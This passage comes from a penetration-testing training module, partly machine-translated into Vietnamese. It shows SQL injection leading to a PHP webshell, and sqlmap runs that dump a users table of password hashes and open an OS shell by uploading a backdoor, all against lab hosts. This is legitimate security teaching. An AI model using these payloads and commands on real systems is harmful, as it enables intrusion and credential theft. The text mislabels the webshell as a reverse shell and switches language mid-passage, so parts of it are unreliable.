Listing 29 - Write a WebShell To Disk via INTO OUTFILE directive
The written PHP code file results in the following:
system($_REQUEST['cmd']); ?>
Listing 30 - PHP reverse shell
The PHP system function will parse any statement included in the cmd parameter coming from the client HTTP REQUEST, thus acting like a web-interactive command shell.
If we try to use the above payload inside the Lookup field of the search.php endpoint, we receive the following error:

Fortunately, this error is related to the incorrect return type, and should not impact writing the webshell on disk.
To confirm, we can access the newly created webshell inside the tmp folder along with the id command.

Great! The webshell is working as expected since the output of the id command is returned to us through the web browser. We discovered that we are executing commands as the www-data user, an identity commonly associated with web servers on Linux systems.
Now that we understand how to leverage SQLi to manually obtain command execution, let's discover how to automate the process with specific tools.
The SQL injection process we followed can be automated using several tools pre-installed on Kali Linux. In particular, sqlmap can identify and exploit SQL injection vulnerabilities against various database engines.
Let's run sqlmap on our sample web application. We will set the URL we want to scan with -u and specify the parameter to test using -p:
kali@kali:~$ sqlmap -u http://192.168.50.19/blindsqli.php?user=1 -p user
___
__H__
___ ___[,]_____ ___ ___ {1.6.4#stable}
|_ -| . [)] | .'| . |
|___|_ [,]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
...
[*] starting @ 02:14:54 PM /2022-05-16/
[14:14:54] [INFO] resuming back-end DBMS 'mysql'
[14:14:54] [INFO] testing connection to the target URL
got a 302 redirect to 'http://192.168.50.16:80/login1.php?msg=2'. Do you want to follow? [Y/n]
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=fbf1f5fa5fc...a7266cba36'). Do you want to use those [Y/n]
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: user (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: user=1' AND (SELECT 1582 FROM (SELECT(SLEEP(5)))dTzB) AND 'hiPB'='hiPB
---
[14:14:57] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: PHP, PHP 7.3.33, Apache 2.4.52
back-end DBMS: MySQL >= 5.0.12
[14:14:57] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.50.16'
[*] ending @ 02:14:57 PM /2022-05-16/
Liệt kê 31 - Chạy sqlmap để nhanh chóng tìm các điểm tiêm SQL
Chúng tôi đã gửi toàn bộ URL sau bộ chỉ định -u cùng với tham số ?user được đặt thành một giá trị giả. Sau khi khởi chạy, chúng ta có thể nhấn I trên các tùy chọn mặc định. Sqlmap sau đó trả về một xác nhận rằng chúng ta đang xử lý việc chèn SQL mù dựa trên thời gian và Cung cấp thông tin lấy dấu vân tay bổ sung như máy chủ web hệ điều hành, ngăn xếp công nghệ ứng dụng web và phần phụ trợ cơ sở dữ liệu.
Mặc dù lệnh trên xác nhận rằng URL mục tiêu dễ bị tấn công sang SQLi, chúng ta có thể mở rộng tradecraft của mình bằng cách sử dụng sqlmap để kết xuất bảng cơ sở dữ liệu và đánh cắp thông tin đăng nhập của người dùng.
Mặc dù sqlmap là một công cụ tuyệt vời để tự động hóa các cuộc tấn công SQLi, nhưng nó cung cấp khả năng tàng hình gần như bằng không. Do lưu lượng truy cập cao, Không nên sử dụng SQL Map làm công cụ lựa chọn đầu tiên trong quá trình làm bài tập đòi hỏi phải ở dưới radar.
Để kết xuất toàn bộ cơ sở dữ liệu, bao gồm cả thông tin đăng nhập của người dùng, chúng ta có thể chạy lệnh tương tự như trước đó với tham số --dump.
kali@kali:~$ sqlmap -u http://192.168.50.19/blindsqli.php?user=1 -p user --dump
...
[*] starting @ 02:23:49 PM /2022-05-16/
[14:23:49] [INFO] resuming back-end DBMS 'mysql'
[14:23:49] [INFO] testing connection to the target URL
got a 302 redirect to 'http://192.168.50.16:80/login1.php?msg=2'. Do you want to follow? [Y/n]
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=b7c9c962b85...c6c7205dd1'). Do you want to use those [Y/n]
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: user (GET)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: user=1' AND (SELECT 1582 FROM (SELECT(SLEEP(5)))dTzB) AND 'hiPB'='hiPB
---
[14:23:52] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: PHP, Apache 2.4.52, PHP 7.3.33
back-end DBMS: MySQL >= 5.0.12
[14:23:52] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[14:23:52] [INFO] fetching current database
[02:23:52 PM] [WARNING] time-based comparison requires larger statistical model, please wait.............................. (done)
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n]
[14:25:26] [WARNING] it is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions
[14:25:26] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
[14:25:47] [INFO] adjusting time delay to 2 seconds due to good response times
offsec
[14:27:01] [INFO] fetching tables for database: 'offsec'
[14:27:01] [INFO] fetching number of tables for database 'offsec'
[02:27:01 PM] [INFO] retrieved: 2
[02:27:11 PM] [INFO] retrieved: customers
[02:29:25 PM] [INFO] retrieved: users
[14:30:38] [INFO] fetching columns for table 'users' in database 'offsec'
[02:30:38 PM] [INFO] retrieved: 4
[02:30:44 PM] [INFO] retrieved: id
[02:31:14 PM] [INFO] retrieved: username
[02:33:02 PM] [INFO] retrieved: password
[02:35:09 PM] [INFO] retrieved: description
[14:37:56] [INFO] fetching entries for table 'users' in database 'offsec'
[14:37:56] [INFO] fetching number of entries for table 'users' in database 'offsec'
[02:37:56 PM] [INFO] retrieved: 4
[02:38:02 PM] [WARNING] (case) time-based comparison requires reset of statistical model, please wait.............................. (done)
[14:38:24] [INFO] adjusting time delay to 1 second due to good response times
this is the admin
[02:40:54 PM] [INFO] retrieved: 1
[02:41:02 PM] [INFO] retrieved: 21232f297a57a5a743894a0e4a801fc3
[02:46:34 PM] [INFO] retrieved: admin
[02:47:15 PM] [INFO] retrieved: try harder
[02:48:44 PM] [INFO] retrieved: 2
[02:48:54 PM] [INFO] retrieved: f9664ea1803311b35f
...
Listing 32 - Running sqlmap to Dump Users Credentials Table
Since we're dealing with a blind time-based SQLi vulnerability, the process of fetching the entire database's table is quite slow, but eventually we manage to obtain all users' hashed credentials.
Another sqlmap core feature is the --os-shell parameter, which provides us with a full interactive shell.
Due to their generally high latency, time-based blind SQLi are not ideal when interacting with a shell, so we'll use the first UNION-based SQLi example.
First, we need to intercept the POST request via Burp and save it as a local text file on our Kali VM.
POST /search.php HTTP/1.1
Host: 192.168.50.19
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 9
Origin: http://192.168.50.19
Connection: close
Referer: http://192.168.50.19/search.php
Cookie: PHPSESSID=vchu1sfs34oosl52l7pb1kag7d
Upgrade-Insecure-Requests: 1
item=test
Listing 33 - Intercepting the POST request with Burp
Next, we can invoke sqlmap with the -r parameter, using our file containing the POST request as an argument. We also need to indicate which parameter is vulnerable to sqlmap, in our case item. Finally, we'll include --os-shell along with the custom writable folder we found earlier.
kali@kali:~$ sqlmap -r post.txt -p item --os-shell --web-root "/var/www/html/tmp"
...
[*] starting @ 02:20:47 PM /2022-05-19/
[14:20:47] [INFO] parsing HTTP request from 'post'
[14:20:47] [INFO] resuming back-end DBMS 'mysql'
[14:20:47] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: item (POST)
...
---
[14:20:48] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.52
back-end DBMS: MySQL >= 5.6
[14:20:48] [INFO] going to use a web backdoor for command prompt
[14:20:48] [INFO] fingerprinting the back-end DBMS operating system
[14:20:48] [INFO] the back-end DBMS operating system is Linux
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
> 4
[14:20:49] [INFO] using '/var/www/html/tmp' as web server document root
[14:20:49] [INFO] retrieved web server absolute paths: '/var/www/html/search.php'
[14:20:49] [INFO] trying to upload the file stager on '/var/www/html/tmp/' via LIMIT 'LINES TERMINATED BY' method
[14:20:50] [WARNING] unable to upload the file stager on '/var/www/html/tmp/'
[14:20:50] [INFO] trying to upload the file stager on '/var/www/html/tmp/' via UNION method
[14:20:50] [WARNING] expect junk characters inside the file as a leftover from UNION query
[14:20:50] [INFO] the remote file '/var/www/html/tmp/tmpuqgek.php' is larger (713 B) than the local file '/tmp/sqlmapxkydllxb82218/tmp3d64iosz' (709B)
[14:20:51] [INFO] the file stager has been successfully uploaded on '/var/www/html/tmp/' - http://192.168.50.19:80/tmp/tmpuqgek.php
[14:20:51] [INFO] the backdoor has been successfully uploaded on '/var/www/html/tmp/' - http://192.168.50.19:80/tmp/tmpbetmz.php
[14:20:51] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> id
do you want to retrieve the command standard output? [Y/n/a] y
command standard output: 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'
os-shell> pwd
do you want to retrieve the command standard output? [Y/n/a] y
command standard output: '/var/www/html/tmp'
Liệt kê 34 - Chạy sqlmap với os-shell
Khi sqlmap xác nhận lỗ hổng, nó sẽ nhắc chúng ta nhập ngôn ngữ ứng dụng web được viết trong, trong trường hợp này là PHP. Tiếp theo, sqlmap tải webshell lên thư mục web được chỉ định và trả về Interactive Shell, từ đó chúng ta có thể phát hành hệ thống thông thường lệnh.
Một số phòng thí nghiệm yêu cầu bạn khởi động (các) máy mục tiêu bên dưới.
Xin lưu ý rằng địa chỉ IP được gán cho máy mục tiêu của bạn có thể không khớp với địa chỉ được tham chiếu trong văn bản và video của Mô-đun.
Trong Mô-đun này, chúng tôi tập trung vào việc xác định và liệt kê các lỗ hổng SQL tiêm. Chúng tôi đã khám phá các tải trọng khác nhau có thể được tận dụng để lạm dụng các lỗ hổng ứng dụng web này và khám phá cách thực thi mã theo cách thủ công. Cuối cùng, chúng tôi đã học được cách tự động hóa toàn bộ chuỗi tấn công bằng cách sử dụng sqlmap.
» Tin mới nhất:
» Các tin khác: